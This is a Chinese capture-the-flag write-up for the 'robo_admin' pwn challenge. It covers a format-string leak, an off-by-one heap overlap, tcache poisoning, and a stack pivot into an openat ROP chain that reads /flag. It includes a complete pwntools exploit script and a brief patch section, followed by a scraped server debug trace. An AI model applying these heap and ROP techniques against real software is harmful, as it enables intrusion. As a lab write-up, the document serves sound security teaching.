乐于分享
好东西不私藏

第二届软件系统安全赛 robo_admin 题解

第二届软件系统安全赛 robo_admin 题解
01
程序分析
Arch:     amd64-64-littleRELRO:    Full RELROStack:    Canary foundNX:       NX enabledPIE:      PIE enabled

题目还开了 seccomp,禁了三个系统调用:

  • open
  • execve
  • execveat

程序有两层菜单,主菜单里最关键的是set_notice/show_status

sub_1447(s, 512LL);if ( strchr(s, 37) || strchr(s, 36) )puts("[X] raw input contains illegal chars");else if ( sub_1528(s, src, 256LL) )puts("[X] decode failed");elsememcpy(byte_51C0, src, 0x100);
printf("Notice: ");if ( dword_52C0 ){if ( dword_52C4 )printf("%s", byte_51C0);else  {    dword_52C4 = 1;printf(byte_51C0);  }}

这里有两个点:

  • 原始输入里不能直接出现%$,但支持\x转义解码,所以可以用\x25\x24还原格式化串
  • printf(byte_51C0)
    只会执行一次,是一个一次性格式化字符串

管理员菜单的漏洞更直接:

v0 = sub_1C1D("Write length :", 1LL, qword_5180[idx] + 1LL);v7 = read(0, heaps[idx], v0);if ( qword_5180[idx] <= v7 )  heaps[idx][qword_5180[idx] - 1] = 0;else  heaps[idx][v7] = 0;

edit允许写到cap + 1,因此可以做到一字节堆溢出。但有两个恶心的限制:

  • 总会补一个\0
  • query
    又都是按%s打印

再看create

heaps[idx] = malloc(size);memset(heaps[idx], 0, size);

这意味着常规的 overlap 泄露并不好做:

  • 新申请的块会被memset清干净
  • 就算 overlap 到了 free chunk,edit补的\0也很容易把字符串截断

所以这题表面是“格式化字符串 + 堆菜单 + off-by-one”,但我觉得难点其实是:memset\0截断同时存在的情况下,怎么稳定读到 free chunk 里的指针数据。

02
漏洞利用

Step1 格式化字符串泄露关键信息

管理员密码不是固定值,而是程序启动时随机生成的两段 8 字节数据:

snprintf(s, 0x28uLL, "%016lx%016lx", qword_52D0, qword_52D8);if ( !strcmp(s1, "ROBOADMIN") && !strcmp(v14, s) )

所以第一步必须先把 password 泄露出来,看汇编发现show_status函数有把password写到栈上。

由于 notice 支持\x解码,我们可以把 payload 写成:

payload = b"\\x256\\x24p \\x257\\x24p \\x2515\\x24p \\x2523\\x24p \\x2514\\x24p"

解码后就是:

%6$p %7$p %15$p %23$p %14$p
  • %6$p
    %7$p泄露 password 的两半
  • %15$p
    泄露 PIE
  • %23$p
    泄露 libc
  • %14$p
    拿一个栈地址

Step2 分析堆布局

这题登录前会经过 seccomp 初始化,libseccomp 会在堆上留下大量分配/释放痕迹,导致登录之后的 heap 并不干净。

这里实际观察到的关键 bin 状态如下:

tcache[0x60]: 0x...d2a0 ->0x...e900tcache[0x30]: 0x...d300 ->0x...d460tcache[0xd0]: 0x...db10 ->0x...d7e0 ->0x...d350tcache[0x40]: 0x...dcd0 ->0x...d9a0 ->0x...d670 -> ...unsortbin: 0x5d57ca34d9d0 (size : 0xf0)

发现tcache[0x60][0]tcache[0x30][0]的地址相邻(0xd2a0和0xd300),又发现和tcache[0x30][0]最近的是tcache[0xd0][2](0x...d350),它们中间夹了个0x20大小的fastbin。

add(0"A"0x58)   # 0x...d2a0add(1"B"0x28)   # 0x...d300add(2"C"0xc8)   # 0x...db10add(3"D"0xc8)   # 0x...d7e0add(4"E"0xc8)   # 0x...d350add(5"cls"0x28# 0x...d460

利用off-by-one修改B的size为0x91,构造chunk overlap

edit(00x59, b'A'*0x58 + p8(0x91))

真正参与 overlap 的其实只有三块

A: [0x...d290, size=0x60]B: [0x...d2f0, size=0x30]E: [0x...d340, size=0xd0]

修改E的数据域绕过glibc检查

如果把B视为一个0x90chunk,那么:

  • nextchunk = d380
  • nextchunk->size
    d388
  • 再往后一个 chunk 的sized3a8

所以要先在E里面伪造两个最小合法 chunk 头:

fake_chunk = flat(    {        0x38: p64(0x21),        0x58: p64(0x21),    },    filler=b"\x00",)edit(4, 0x60, fake_chunk)

这里顺手还要做以下堆风水:

  • 申请一个稍大的块把unsortedbin清走
  • tcache[0x90]填满,保证 fake0x90chunk 在free时进unsorted
  • 吃掉smallbin[0x60],保证从unsorted切割块
  • 清空tcache[0x30],保证后面malloc(0x28)一定吃到我们 split 出来的 remainder

这里没有走“大块合并 -> unsorted/largebin”那套路线,因为题目限制申请大小< 0x200

Step3 泄露heap基址

free(1)          # free fake 0x90(B)add(7, "F", 0x40)add(1, "X", 0x28)

申请0x40时,对应 chunk size 是0x50,所以 fake0x90chunk 会被切成:

[0x...d2f0, size=0x50]   已分配给 slot7[0x...d340, size=0x40]   remainder

注意这个remainder的 chunk 头正好落在E原来的位置上。

申请0x28时,对应 chunk size 是0x30,此时0x40remainder 再 split 只会剩下0x10,不满足最小 chunk 尺寸,因此 glibc 会把整个0x40chunk 返回。于是新的 user 指针就是0x...d350

也就是E的 user 起点

所以这一步结束之后:

  • slot1->desc == 0x...d350
  • slot4->desc == 0x...d350

这一点非常重要,它绕开了这题最烦的两个限制:

  • create
    memset新 chunk,残留元数据很难保住
  • edit
    总会补\0,普通字符串泄露很容易被截断

现在不一样了。后面只要把slot4free 掉,tcache 写进去的fd就会直接落在slot1看到的 user 开头。字符串从泄露数据本身开始,就不会再被前面的\0卡死。

tcache[0x40]原本就已经有 6 个节点,头结点是0x...dcd0,所以 freed chunk 开头被写入的是:

fd = (heap_base + 0xcd0) ^ (0x...d350 >> 12)

读取fd后还原:

leak = uu64()z = leak ^ 0xcd0key = 0prev = 0for i in range(0, 64, 12):    cur = ((z >> i) & 0xfff) ^ prev    key |= cur << i    prev = curheap_base = key << 12

Step4 栈迁移 + ORW ROP收尾

拿到heap_base之后,接下来的事情就简单了。slot1仍然指向刚刚 free 掉的0x40chunk,所以我们可以改它的fd为栈地址,完成任意地址分配到栈。

retaddr = stackaddr - 0x30edit(10x10, p64(retaddr ^ key))free(5)                 # 腾出 slot index,和 poison 无关add(5"tc"0x38)      # 取走 headadd(4"migrate"0x38# 返回 retaddr

之后

  • 在一块大 chunk 里放 ROP 链
  • 在另一块 chunk 里放/flag
  • 覆盖admin_menu函数的stack contextleave; ret栈迁移

我这里把 ROP 链写在slot3对应的0xc8chunk 里,把/flag写在一块普通缓冲里。由于 seccomp 禁掉了open,所以用openat。

elf.address = pielibc.address = libcbaserop = ROP([elf, libc])ropaddr = heap_base+0x7e0flagaddr = heap_base+0xa70edit(6, 0x10, b"/flag")rop.raw(p64(0))rop.call("openat", [-100, flagaddr, 0])rop.call("read", [3, flagaddr+0x10, 0x50])rop.call("write", [1, flagaddr+0x10, 0x50])#print(rop.dump())edit(3, 0xc8, rop.chain())

栈迁移覆盖内容:

leave_ret = elf.search(asm("leave;ret")).__next__()edit(4, 0x38, flat(ropaddr, leave_ret))menu(6)

完整Exp

from pwn import *import structdef debug(c = 0):if(c):        gdb.attach(p, c)else:        gdb.attach(p)def get_addr():return u64(p.recvuntil(b'\x7f')[-6:].ljust(8b'\x00'))def get_sb():return libc.sym['system'], next(libc.search(b'/bin/sh\x00'))def rol(value, shift, bits=64):return ((value << shift) & (2**bits - 1)) | (value >> (bits - shift))sd = lambda data : p.send(data)sa  = lambda text,data  :p.sendafter(text, data)sl  = lambda data: p.sendline(data if isinstance(data, byteselse str(data).encode())sla = lambda text,data  :p.sendlineafter(text, data if isinstance(data, byteselse str(data).encode())rc   = lambda num=4096   :p.recv(num)ru  = lambda text   :p.recvuntil(text)rl  = lambda 	:p.recvline()pr = lambda num=4096 :print(p.recv(num))ia   = lambda        :p.interactive()l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))uheap   = lambda    :u64(p.recv(6).ljust(8,b'\x00'))logaddr = lambda s, n   :p.success('%s -> 0x%x' % (s, n))context.terminal = ['gnome-terminal''-x''sh''-c']file = "./pwn"libc = "./libc.so.6"def login(pwd):    sla("> \n"str(3))    sla("Token:\n""ROBOADMIN")    sla("(32 hex):\n", pwd)if b"login success" in rl():        success("login success!")return 1else:print("\033[31mlogin failed!\033[0m")return 0def menu(idx):    sla("> "str(idx))def add(idx, name, size):    menu(1)    sla("Index:\n"str(idx))    sla("Task name:\n", name)    sla("Desc size:\n"str(size))def edit(idx, size, cont):    menu(2)    sla("Index:\n"str(idx))    sla("Write length :"str(size))    sa("New desc bytes:", cont)def show(idx):    menu(3)    sla("Index:\n"str(idx))    ru(" => ")def free(idx):    menu(5)    sla("Index:\n"str(idx))context.binary = elf = ELF("./pwn")context.arch = "amd64"context.log_level = "debug" if args.D else "info"p = process(file)elf = ELF(file, False)libc = ELF(libc, False)payload = "\\x256\\x24p \\x257\\x24p \\x2515\\x24p \\x2523\\x24p \\x2514\\x24p"ru("> \n")sl(str(1))sleep(0.5)sl(payload)ru("> \n")#debug("b *$rebase(0x1A4A)")#pause()sl(str(2))ru("Notice: ")leaks = rl().split(b' ')#print(leaks)pwd = leaks[0][2:] + leaks[1][2:]success("password: %s", pwd.decode())pie = int(leaks[2], 16) - 0x2893libcbase = int(leaks[3], 16) - 0x29d90stackaddr = int(leaks[4], 16)if not login(pwd):    exit(0)add(0"clear"0x180# clear unsortedbinfree(0)# fill tcachefor i in range(7):    add(i, f"T{i}"0x80)for i in range(7):    free(i)add(0"A"0x58)add(1"B"0x28)add(2"C"0xc8)add(3"D"0xc8)add(4"E"0xc8)add(5"cls"0x28)add(6"clear"0x48# clear smallbinfake_chunk = flat(    {0x38: p64(0x21),0x58: p64(0x21),    },    filler=b"\x00",)edit(40x60, fake_chunk)edit(00x59b'A'*0x58 + p8(0x91))free(1)add(7"F"0x40)add(1"X"0x28)free(4)show(1)leak = uu64()z = leak ^ 0xcd0key = 0prev = 0for i in range(06412):    cur = ((z >> i) & 0xfff) ^ prev    key |= cur << i    prev = curheap_base = key << 12logaddr("heapbase", heap_base)logaddr("pie", pie)logaddr("libcbase", libcbase)logaddr("stack", stackaddr)elf.address = pielibc.address = libcbaserop = ROP([elf, libc])ropaddr = heap_base+0x7e0flagaddr = heap_base+0xa70edit(60x10b"/flag")rop.raw(p64(0))rop.call("openat", [-100, flagaddr, 0])rop.call("read", [3, flagaddr+0x100x50])rop.call("write", [1, flagaddr+0x100x50])#print(rop.dump())edit(30xc8, rop.chain())leave_ret = elf.search(asm("leave;ret")).__next__()retaddr = stackaddr-0x30edit(10x10, p64(retaddr ^ key))free(5)add(5"tc"0x38)#debug("b *$rebase(0x2635)")#pause()add(4"migrate"0x38)edit(40x38, flat(ropaddr, leave_ret))menu(6)ia()
03
漏洞修补

根据题目描述进行修复的

请同时检查 set_notice() 与 show_status() 两处逻辑;若拦截了解码后的危险字符,错误输出中应包含 "[X] decoded input contains illegal chars"。

对\x转换后的字符进行检查,过滤了%字符,同时将[X] decoded input contains illegal chars字符串写到eh_frame段,修改错误输出为题目要求即可。

看雪ID:S1nyer

https://bbs.kanxue.com/user-home-977553.htm

*本文为看雪论坛优秀文章,由 S1nyer原创,转载请注明来自看雪社区
看雪2026 KCTF 大赛-火热征题中

# 往期推荐

安卓逆向基础知识之frida Hook

2025 强网杯和强网拟态部分题解

在逆向分析方面-unidbg真的适合 MCP 吗?

AI静态分析,内核模块隐藏 Frida 特征,绕过linker私有结构遍历崩溃链

某安全so库深度解析

球分享

球点赞

球在看

点击阅读原文查看更多

基本 文件 流程 错误 SQL 调试
  1. 请求信息 : 2026-05-22 13:19:52 HTTP/1.1 GET : https://www.yeyulingfeng.com/a/655568.html
  2. 运行时间 : 0.203151s [ 吞吐率:4.92req/s ] 内存消耗:4,674.96kb 文件加载:145
  3. 缓存信息 : 0 reads,0 writes
  4. 会话信息 : SESSION_ID=33590e043a4801cdd17f5e963fd330b2
  1. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/public/index.php ( 0.79 KB )
  2. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/autoload.php ( 0.17 KB )
  3. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/composer/autoload_real.php ( 2.49 KB )
  4. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/composer/platform_check.php ( 0.90 KB )
  5. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/composer/ClassLoader.php ( 14.03 KB )
  6. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/composer/autoload_static.php ( 6.05 KB )
  7. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/helper.php ( 8.34 KB )
  8. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-validate/src/helper.php ( 2.19 KB )
  9. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/ralouphie/getallheaders/src/getallheaders.php ( 1.60 KB )
  10. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/helper.php ( 1.47 KB )
  11. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/stubs/load_stubs.php ( 0.16 KB )
  12. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Exception.php ( 1.69 KB )
  13. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-container/src/Facade.php ( 2.71 KB )
  14. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/deprecation-contracts/function.php ( 0.99 KB )
  15. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/polyfill-mbstring/bootstrap.php ( 8.26 KB )
  16. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/polyfill-mbstring/bootstrap80.php ( 9.78 KB )
  17. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/var-dumper/Resources/functions/dump.php ( 1.49 KB )
  18. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-dumper/src/helper.php ( 0.18 KB )
  19. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/var-dumper/VarDumper.php ( 4.30 KB )
  20. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/guzzlehttp/guzzle/src/functions_include.php ( 0.16 KB )
  21. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/guzzlehttp/guzzle/src/functions.php ( 5.54 KB )
  22. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/App.php ( 15.30 KB )
  23. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-container/src/Container.php ( 15.76 KB )
  24. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/psr/container/src/ContainerInterface.php ( 1.02 KB )
  25. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/provider.php ( 0.19 KB )
  26. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Http.php ( 6.04 KB )
  27. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/helper/Str.php ( 7.29 KB )
  28. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Env.php ( 4.68 KB )
  29. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/common.php ( 0.03 KB )
  30. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/helper.php ( 18.78 KB )
  31. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Config.php ( 5.54 KB )
  32. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/alipay.php ( 3.59 KB )
  33. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/facade/Env.php ( 1.67 KB )
  34. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/app.php ( 0.95 KB )
  35. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/cache.php ( 0.78 KB )
  36. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/console.php ( 0.23 KB )
  37. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/cookie.php ( 0.56 KB )
  38. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/database.php ( 2.48 KB )
  39. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/filesystem.php ( 0.61 KB )
  40. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/lang.php ( 0.91 KB )
  41. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/log.php ( 1.35 KB )
  42. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/middleware.php ( 0.19 KB )
  43. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/route.php ( 1.89 KB )
  44. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/session.php ( 0.57 KB )
  45. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/trace.php ( 0.34 KB )
  46. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/view.php ( 0.82 KB )
  47. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/event.php ( 0.25 KB )
  48. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Event.php ( 7.67 KB )
  49. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/service.php ( 0.13 KB )
  50. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/AppService.php ( 0.26 KB )
  51. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Service.php ( 1.64 KB )
  52. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Lang.php ( 7.35 KB )
  53. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/lang/zh-cn.php ( 13.70 KB )
  54. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/initializer/Error.php ( 3.31 KB )
  55. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/initializer/RegisterService.php ( 1.33 KB )
  56. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/services.php ( 0.14 KB )
  57. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/service/PaginatorService.php ( 1.52 KB )
  58. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/service/ValidateService.php ( 0.99 KB )
  59. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/service/ModelService.php ( 2.04 KB )
  60. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-trace/src/Service.php ( 0.77 KB )
  61. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Middleware.php ( 6.72 KB )
  62. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/initializer/BootService.php ( 0.77 KB )
  63. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/Paginator.php ( 11.86 KB )
  64. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-validate/src/Validate.php ( 63.20 KB )
  65. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/Model.php ( 23.55 KB )
  66. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/Attribute.php ( 21.05 KB )
  67. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/AutoWriteData.php ( 4.21 KB )
  68. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/Conversion.php ( 6.44 KB )
  69. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/DbConnect.php ( 5.16 KB )
  70. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/ModelEvent.php ( 2.33 KB )
  71. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/RelationShip.php ( 28.29 KB )
  72. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/contract/Arrayable.php ( 0.09 KB )
  73. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/contract/Jsonable.php ( 0.13 KB )
  74. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/contract/Modelable.php ( 0.09 KB )
  75. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Db.php ( 2.88 KB )
  76. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/DbManager.php ( 8.52 KB )
  77. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Log.php ( 6.28 KB )
  78. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Manager.php ( 3.92 KB )
  79. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/psr/log/src/LoggerTrait.php ( 2.69 KB )
  80. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/psr/log/src/LoggerInterface.php ( 2.71 KB )
  81. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Cache.php ( 4.92 KB )
  82. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/psr/simple-cache/src/CacheInterface.php ( 4.71 KB )
  83. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/helper/Arr.php ( 16.63 KB )
  84. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/cache/driver/File.php ( 7.84 KB )
  85. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/cache/Driver.php ( 9.03 KB )
  86. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php ( 1.99 KB )
  87. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/Request.php ( 0.09 KB )
  88. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Request.php ( 55.78 KB )
  89. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/middleware.php ( 0.25 KB )
  90. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Pipeline.php ( 2.61 KB )
  91. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-trace/src/TraceDebug.php ( 3.40 KB )
  92. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/middleware/SessionInit.php ( 1.94 KB )
  93. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Session.php ( 1.80 KB )
  94. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/session/driver/File.php ( 6.27 KB )
  95. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php ( 0.87 KB )
  96. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/session/Store.php ( 7.12 KB )
  97. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Route.php ( 23.73 KB )
  98. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/RuleName.php ( 5.75 KB )
  99. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/Domain.php ( 2.53 KB )
  100. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/RuleGroup.php ( 22.43 KB )
  101. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/Rule.php ( 26.95 KB )
  102. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/RuleItem.php ( 9.78 KB )
  103. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/route/app.php ( 3.94 KB )
  104. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/facade/Route.php ( 4.70 KB )
  105. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/dispatch/Controller.php ( 4.74 KB )
  106. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/Dispatch.php ( 10.44 KB )
  107. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/controller/Index.php ( 9.87 KB )
  108. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/BaseController.php ( 2.05 KB )
  109. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/facade/Db.php ( 0.93 KB )
  110. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/connector/Mysql.php ( 5.44 KB )
  111. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/PDOConnection.php ( 52.47 KB )
  112. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/Connection.php ( 8.39 KB )
  113. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/ConnectionInterface.php ( 4.57 KB )
  114. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/builder/Mysql.php ( 16.58 KB )
  115. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/Builder.php ( 24.06 KB )
  116. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/BaseBuilder.php ( 27.50 KB )
  117. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/Query.php ( 15.71 KB )
  118. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/BaseQuery.php ( 45.13 KB )
  119. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php ( 7.43 KB )
  120. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php ( 3.26 KB )
  121. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php ( 20.07 KB )
  122. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/ParamsBind.php ( 3.66 KB )
  123. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/ResultOperation.php ( 7.01 KB )
  124. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/WhereQuery.php ( 19.37 KB )
  125. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php ( 7.11 KB )
  126. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php ( 2.63 KB )
  127. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/Transaction.php ( 2.77 KB )
  128. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/log/driver/File.php ( 5.96 KB )
  129. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php ( 0.86 KB )
  130. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/log/Channel.php ( 3.89 KB )
  131. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/event/LogRecord.php ( 1.02 KB )
  132. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/Collection.php ( 16.47 KB )
